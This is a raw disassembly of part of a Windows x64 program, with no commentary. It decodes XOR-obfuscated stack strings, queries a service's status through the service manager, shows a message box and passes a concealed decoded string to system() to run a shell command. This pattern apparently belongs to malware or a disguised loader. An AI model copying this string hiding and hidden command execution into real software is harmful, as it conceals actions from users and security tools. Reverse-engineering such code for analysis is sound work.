call fcn.14003f490
cmp rax, 0xb
jne 0x140039589
mov byte [0x140128365], 1
lea rax, [rbp + 0x1c08]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 0xa0], al
mov byte [rbp + 0xa1], al
mov byte [rbp + 0xa2], al
mov byte [rbp + 0xa3], al
mov byte [rbp + 0xa4], al
mov byte [rbp + 0xa5], al
mov byte [rbp + 0xa6], al
mov byte [rbp + 0xa7], al
mov byte [rbp + 0xa8], al
mov byte [rbp + 0xa9], al
mov byte [rbp + 0xaa], al
mov byte [rbp + 0xab], al
mov byte [rbp + 0xac], al
mov byte [rbp + 0xad], al
mov byte [rbp + 0xae], al
mov byte [rbp + 0xaf], al
mov byte [rbp + 0xb0], al
mov byte [rbp + 0xb1], al
mov byte [rbp + 0xb2], al
mov byte [rbp + 0xb3], al
mov byte [rbp + 0xb4], al
mov byte [rbp + 0xb5], al
mov byte [rbp + 0xb6], al
mov byte [rbp + 0xb7], al
movabs rax, 0x46cde3402576c371
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd40], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd48], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xd50], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xd58], rax
movabs rax, 0x73b5250f28a82922
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd60], rax
movabs rax, 0x1174d7e23b23ff9d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd68], rax
movabs rax, 0x4e62ecee22e6dfd4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd70], rax
movabs rax, 0xcf59e655b90c62fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd78], rax
movabs rax, 0x963986d83ab52654
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd80], rax
movabs rax, 0xdf43159c224682d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd88], rax
movabs rax, 0xbbe16ff5869fc46a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd90], rax
movabs rax, 0xe24d82ed101e4d1a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd98], rax
movabs rax, 0xae86cdfc111b1c3c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xda0], rax
movabs rax, 0xb9c00bd3e0a8383c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xda8], rax
movabs rax, 0x87c8d50120c8dc8a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xdb0], rax
movabs rax, 0x280804976705fe
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xdb8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4180], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4188], rax
movabs rax, 0xe0d7f66544552593
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4190], rax
movabs rax, 0x325eed30e2526ea8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4198], rax
movabs rax, 0x4a82123f1b9a180d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x41a0], rax
movabs rax, 0x2347e3d20914cdaa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x41a8], rax
movabs rax, 0x623bec11adeece7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x41b0], rax
movabs rax, 0xb529d40c886452cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x41b8], rax
movabs rax, 0xa009b18b7dfd7e01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x41c0], rax
movabs rax, 0x6fae626ea115274e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x41c8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x41d0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x41d8], rax
movabs rax, 0xe7deab9770505e55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x41e0], rax
movabs rax, 0xf5815baaa2fc7372
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x41e8], rax
movabs rax, 0xe5fdac79668bbbcf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x41f0], rax
movabs rax, 0x28080497670594
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x41f8], rax
vmovdqu ymm0, ymmword [rbp + 0xd40]
vpxor ymm1, ymm0, ymmword [rbp + 0x4180]
vmovdqa ymmword [rbp + 0xd40], ymm1
vmovdqu ymm0, ymmword [rbp + 0xd60]
vpxor ymm1, ymm0, ymmword [rbp + 0x41a0]
vmovdqa ymmword [rbp + 0xd60], ymm1
vmovdqu ymm0, ymmword [rbp + 0xd80]
vpxor ymm1, ymm0, ymmword [rbp + 0x41c0]
vmovdqa ymmword [rbp + 0xd80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xda0]
vpxor ymm1, ymm0, ymmword [rbp + 0x41e0]
vmovdqa ymmword [rbp + 0xda0], ymm1
lea rdx, [rbp + 0xd40]
lea rcx, [rbp + 0x1c08]
vzeroupper
call fcn.140007250
mov rsi, rax
movabs rax, 0x69e2d9335562d779
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x3f0], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x3f8], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x3940], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3948], rax
movdqa xmm0, xmmword [rbp + 0x3f0]
pxor xmm0, xmmword [rbp + 0x3940]
movdqa xmmword [rbp + 0x3f0], xmm0
movabs rax, 0x5390b64127479739
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
movabs rax, 0x8fbdb4b62b1654a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3930], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3938], rax
movdqa xmm0, xmmword [rbp + 0x3e0]
pxor xmm0, xmmword [rbp + 0x3930]
movdqa xmmword [rbp + 0x3e0], xmm0
lea rcx, [rbp + 0x1a68]
call fcn.140034cd0
mov rdi, rax
movabs rax, 0x483971336529739
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x3d0], rcx
movabs rax, 0x8fbdb4b60b364ee3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x3d8], rcx
movabs rdx, 0x69e2d9335502b719
mov qword [rbp], rdx
mov rcx, qword [rbp]
mov qword [rbp + 0x3920], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3928], rax
movdqa xmm0, xmmword [rbp + 0x3d0]
pxor xmm0, xmmword [rbp + 0x3920]
movdqa xmmword [rbp + 0x3d0], xmm0
movabs rax, 0xc91b756366bfb39
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x8fbdb4b62b3654bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3900], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3908], rax
movdqa xmm0, xmmword [rbp + 0x3c0]
pxor xmm0, xmmword [rbp + 0x3900]
movdqa xmmword [rbp + 0x3c0], xmm0
mov edx, 0x7a
lea rcx, [rbp + 0x1a88]
call fcn.1400112d0
mov rbx, rax
movabs rax, 0x483ab543a70e739
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x880], rcx
movabs rax, 0xe1d2ddc5597322a6
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x888], rcx
movabs rax, 0xe0d7f665447505a9
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x890], rcx
movabs r8, 0x325eed30e2526ea8
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x898], rax
movabs rdx, 0x69e2d9335502b719
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3ea0], rax
movabs rcx, 0x8fbdb4b62b167486
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3ea8], rax
movabs r9, 0xe0d7f66544552593
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x3eb0], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x3eb8], rax
vmovdqu ymm0, ymmword [rbp + 0x880]
vpxor ymm1, ymm0, ymmword [rbp + 0x3ea0]
vmovdqa ymmword [rbp + 0x880], ymm1
movabs rax, 0x78db0402767e139
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
movabs rax, 0x8fbdb4b62b3654bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x38f0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x38f8], rax
vmovdqa xmm0, xmmword [rbp + 0x3b0]
vpxor xmm0, xmm0, xmmword [rbp + 0x38f0]
vmovdqa xmmword [rbp + 0x3b0], xmm0
movabs rax, 0x1d91ac617562d779
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9e0], rax
movabs rax, 0xecc8e796446424a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9e8], rax
movabs rax, 0xacf7d645372640f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9f0], rax
movabs rax, 0x327ecd0a8c3b09c7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9f8], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3e80], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3e88], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x3e90], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x3e98], rax
vmovdqu ymm0, ymmword [rbp + 0x9e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e80]
vmovdqa ymmword [rbp + 0x9e0], ymm1
lea r8, [0x140127090]
lea rdx, [rbp + 0x9e0]
lea rcx, [rbp + 0x1aa8]
vzeroupper
call fcn.14003f9f0
nop
lea r8, [rbp + 0x3b0]
mov rdx, rax
lea rcx, [rbp + 0x1ac8]
call fcn.14003fb50
nop
lea r8, [0x1401284a0]
mov rdx, rax
lea rcx, [rbp + 0x1ae8]
call fcn.1400404b0
nop
lea r8, [rbp + 0x880]
mov rdx, rax
lea rcx, [rbp + 0x1b08]
call fcn.14003fb50
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1b28]
call fcn.140040490
nop
lea r8, [rbp + 0x3c0]
mov rdx, rax
lea rcx, [rbp + 0x1b48]
call fcn.14003fb50
nop
lea r8, [rbp + 0x2c48]
mov rdx, rax
lea rcx, [rbp + 0x1d88]
call fcn.1400404b0
nop
lea r8, [rbp + 0x3d0]
mov rdx, rax
lea rcx, [rbp + 0x1b68]
call fcn.14003fb50
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1b88]
call fcn.140040490
nop
lea r8, [rbp + 0x3e0]
mov rdx, rax
lea rcx, [rbp + 0x1ba8]
call fcn.14003fb50
nop
lea r8, [rbp + 0x30e8]
mov rdx, rax
lea rcx, [rbp + 0x1bc8]
call fcn.1400404b0
nop
lea r8, [rbp + 0x3f0]
mov rdx, rax
lea rcx, [rbp + 0x1be8]
call fcn.14003fb50
nop
mov rdx, rsi
mov rcx, rax
call fcn.14002ed50
nop
lea rcx, [rbp + 0x1bc8]
call fcn.140007240
nop
lea rcx, [rbp + 0x1ba8]
call fcn.140007240
nop
lea rcx, [rbp + 0x1b88]
call fcn.140007240
nop
lea rcx, [rbp + 0x1b68]
call fcn.140007240
nop
lea rcx, [rbp + 0x1d88]
call fcn.140007240
nop
lea rcx, [rbp + 0x1b48]
call fcn.140007240
nop
lea rcx, [rbp + 0x1b28]
call fcn.140007240
nop
lea rcx, [rbp + 0x1b08]
call fcn.140007240
nop
lea rcx, [rbp + 0x1ae8]
call fcn.140007240
nop
lea rcx, [rbp + 0x1ac8]
call fcn.140007240
nop
lea rcx, [rbp + 0x1aa8]
call fcn.140007240
nop
lea rcx, [rbp + 0x1a88]
call fcn.140007240
nop
lea rcx, [rbp + 0x1a68]
call fcn.140007240
movabs rsi, 0x4135825f8a300bdf
jmp 0x140039bd4
lea rax, [rbp + 0x1a48]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 0xb8], al
mov byte [rbp + 0xb9], al
mov byte [rbp + 0xba], al
mov byte [rbp + 0xbb], al
mov byte [rbp + 0xbc], al
mov byte [rbp + 0xbd], al
mov byte [rbp + 0xbe], al
mov byte [rbp + 0xbf], al
mov byte [rbp + 0xc0], al
movabs rax, 0x46cde3402576c371
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xcc0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcc8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xcd0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xcd8], rax
movabs rax, 0x72b2250a23ab2922
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xce0], rax
movabs rax, 0x1470d5e63c24f592
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xce8], rax
movabs rax, 0x421bd8ee2fead5d7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xcf0], rax
movabs rax, 0xd27da653dc1e379b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xcf8], rax
movabs rax, 0xf743d6d418962839
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd00], rax
movabs rax, 0x5ceb2527ed254f38
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd08], rax
movabs rax, 0x8ab23ac4859ecc22
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd10], rax
movabs rax, 0xb04be2f219167531
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd18], rax
movabs rax, 0xa8adcee43512123b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd20], rax
movabs rax, 0x9dca6ee2f2a51c1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd28], rax
movabs rax, 0x9098e91514c6e4f9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd30], rax
movabs rax, 0x280804976705f9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd38], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4200], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4208], rax
movabs rax, 0xe0d7f66544552593
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4210], rax
movabs rax, 0x325eed30e2526ea8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4218], rax
movabs rax, 0x4a82123f1b9a180d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4220], rax
movabs rax, 0x2347e3d20914cdaa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4228], rax
movabs rax, 0x623bec11adeece7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4230], rax
movabs rax, 0xb529d40c886452cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4238], rax
movabs rax, 0xa009b18b7dfd7e01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4240], rax
movabs rax, 0x6fae626ea115274e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4248], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4250], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4258], rax
movabs rax, 0xe7deab9770505e55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4260], rax
movabs rax, 0xf5815baaa2fc7372
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4268], rax
movabs rax, 0xe5fdac79668bbbcf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4270], rax
movabs rax, 0x28080497670594
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4278], rax
vmovdqu ymm0, ymmword [rbp + 0xcc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4200]
vmovdqa ymmword [rbp + 0xcc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xce0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4220]
vmovdqa ymmword [rbp + 0xce0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xd00]
vpxor ymm1, ymm0, ymmword [rbp + 0x4240]
vmovdqa ymmword [rbp + 0xd00], ymm1
vmovdqu ymm0, ymmword [rbp + 0xd20]
vpxor ymm1, ymm0, ymmword [rbp + 0x4260]
vmovdqa ymmword [rbp + 0xd20], ymm1
lea rdx, [rbp + 0xcc0]
lea rcx, [rbp + 0x1a48]
vzeroupper
call fcn.140007250
mov rdi, rax
movabs rax, 0x498aad543b67fb39
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1200], rcx
movabs rax, 0xc09dddc54e6518c3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1208], rcx
movabs rax, 0x89b69820642041ff
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1210], rcx
movabs rax, 0x572d8355813b2288
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1218], rax
movabs rax, 0x4a82320562ff532d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1220], rax
movabs rcx, 0x2347e3d20914cdaa
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1228], rax
movabs rax, 0x69e2d9335502b719
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c80], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3c88], rax
movabs rax, 0xe0d7f66544552593
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c90], rax
movabs rax, 0x325eed30e2526ea8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c98], rax
movabs rax, 0x4a82123f1b9a180d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3ca0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3ca8], rax
vmovdqu ymm0, ymmword [rbp + 0x1200]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c80]
vmovdqa ymmword [rbp + 0x1200], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1220]
vpxor xmm0, xmm0, xmmword [rbp + 0x3ca0]
vmovdqa xmmword [rbp + 0x1220], xmm0
mov edx, 0x1a0a
lea rcx, [rbp + 0x1968]
vzeroupper
call fcn.1400112d0
mov rbx, rax
movabs rax, 0x69e2d9133562d739
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x400], rcx
movabs rax, 0x8fbdb4b62b167486
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x408], rcx
movabs rcx, 0x69e2d9335502b719
mov qword [rbp], rcx
mov rcx, qword [rbp]
mov qword [rbp + 0x3980], rcx
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3988], rax
movdqa xmm0, xmmword [rbp + 0x400]
pxor xmm0, xmmword [rbp + 0x3980]
movdqa xmmword [rbp + 0x400], xmm0
lea r8, [0x1401284a0]
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x1988]
call fcn.14003f9f0
nop
lea r8, [0x140107f74]
mov rdx, rax
lea rcx, [rbp + 0x19a8]
call fcn.14003fb50
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x19c8]
call fcn.140040490
nop
lea r8, [rbp + 0x1200]
mov rdx, rax
lea rcx, [rbp + 0x19e8]
call fcn.14003fb50
nop
lea r8, [rbp + 0x2c48]
mov rdx, rax
lea rcx, [rbp + 0x1a08]
call fcn.1400404b0
nop
lea r8, [0x140107490]
mov rdx, rax
lea rcx, [rbp + 0x1a28]
call fcn.14003fb50
nop
mov rdx, rdi
mov rcx, rax
call fcn.14002ed50
nop
lea rcx, [rbp + 0x1a08]
call fcn.140007240
nop
lea rcx, [rbp + 0x19e8]
call fcn.140007240
nop
lea rcx, [rbp + 0x19c8]
call fcn.140007240
nop
lea rcx, [rbp + 0x19a8]
call fcn.140007240
nop
lea rcx, [rbp + 0x1988]
call fcn.140007240
nop
lea rcx, [rbp + 0x1968]
call fcn.140007240
nop
lea rcx, [rbp + 0x3370]
call fcn.1400044c0
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 4]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
xor eax, eax
mov byte [rbp + 0xc1], al
mov byte [rbp + 0xc2], al
mov byte [rbp + 0xc3], al
movabs rax, 0x1b87ad5f3c44f34e
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x410], rcx
movabs rcx, 0x8fbdb4b62b167486
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x418], rax
movabs rax, 0x69e2d9335502b719
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3870], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3878], rax
movdqa xmm0, xmmword [rbp + 0x410]
pxor xmm0, xmmword [rbp + 0x3870]
movdqa xmmword [rbp + 0x410], xmm0
mov r8d, 4
lea rdx, [rbp + 0x410]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdi, rax
lea rax, [rbp + 0x2c80]
mov qword [rsp + 0x20], rax
mov r9d, Ordinal_41
lea r8, [rbp + 0x2e78]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
mov rcx, rdi
cmp dword [rbp + 0x2e7c], 4
jne 0x14003a35f
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
movabs rax, 0x69e2d9413a70c55c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x420], rax
movabs rdi, 0x8fbdb4b62b167486
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x428], rax
movabs rsi, 0x69e2d9335502b719
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3880], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3888], rax
movdqa xmm0, xmmword [rbp + 0x420]
pxor xmm0, xmmword [rbp + 0x3880]
movdqa xmmword [rbp + 0x420], xmm0
movabs rax, 0x1b87ad5f3c44f34e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa60], rax
movabs rax, 0xe8d3ddd8456326a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa68], rax
movabs rax, 0x93b6930914750bbd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa70], rax
movabs rax, 0x123b9e5f8e114ecd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa78], rax
movabs rax, 0x6af77d663bb64c44
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa80], rax
movabs rax, 0x552b8ca1297aacc9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa88], rax
movabs rax, 0x74539ea472aacc82
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa90], rax
movabs rax, 0xcc4bf461ed0830a3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa98], rax
movabs rax, 0xce60d9e8099c0921
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xaa0], rax
movabs rax, 0xcb0607d7350729
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xaa8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xab0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xab8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x34a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x34a8], rax
movabs r13, 0xe0d7f66544552593
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x34b0], rax
movabs r12, 0x325eed30e2526ea8
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x34b8], rax
movabs rax, 0x4a82123f1b9a180d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34c0], rax
movabs rax, 0x2347e3d20914cdaa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34c8], rax
movabs rax, 0x623bec11adeece7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34d0], rax
movabs rax, 0xb529d40c886452cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34d8], rax
movabs rax, 0xa009b18b7dfd7e01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34e0], rax
movabs rax, 0x6fae626ea115274e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34e8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x34f0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x34f8], rax
vmovdqu ymm0, ymmword [rbp + 0x34a0]
vpxor ymm1, ymm0, ymmword [rbp + 0xa60]
vmovdqa ymmword [rbp + 0xa60], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa80]
vpxor ymm1, ymm0, ymmword [rbp + 0x34c0]
vmovdqa ymmword [rbp + 0xa80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xaa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x34e0]
vmovdqa ymmword [rbp + 0xaa0], ymm1
mov r9d, 0x40030
lea r8, [rbp + 0x420]
lea rdx, [rbp + 0xa60]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
movabs rbx, 0x1d8af9472763c36a
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x11c0], rax
movabs rax, 0xfbce9b99116504f2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x11c8], rax
movabs rax, 0x85bb9404293440e1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x11d0], rax
movabs rax, 0xb3f891f8f3d0d86
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x11d8], rax
movabs rax, 0x4a82123f1bef2a3b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x11e0], rax
movabs r14, 0x2347e3d20914cdaa
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x11e8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3bc0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3bc8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3bd0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3bd8], rax
movabs r15, 0x4a82123f1b9a180d
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3be0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3be8], rax
vmovdqu ymm0, ymmword [rbp + 0x3bc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x11c0]
vmovdqa ymmword [rbp + 0x11c0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x11e0]
vpxor xmm2, xmm2, xmmword [rbp + 0x3be0]
vmovdqa xmmword [rbp + 0x11e0], xmm2
lea rcx, [rbp + 0x11c0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov qword [rbp], rbx
mov rax, qword [rbp]
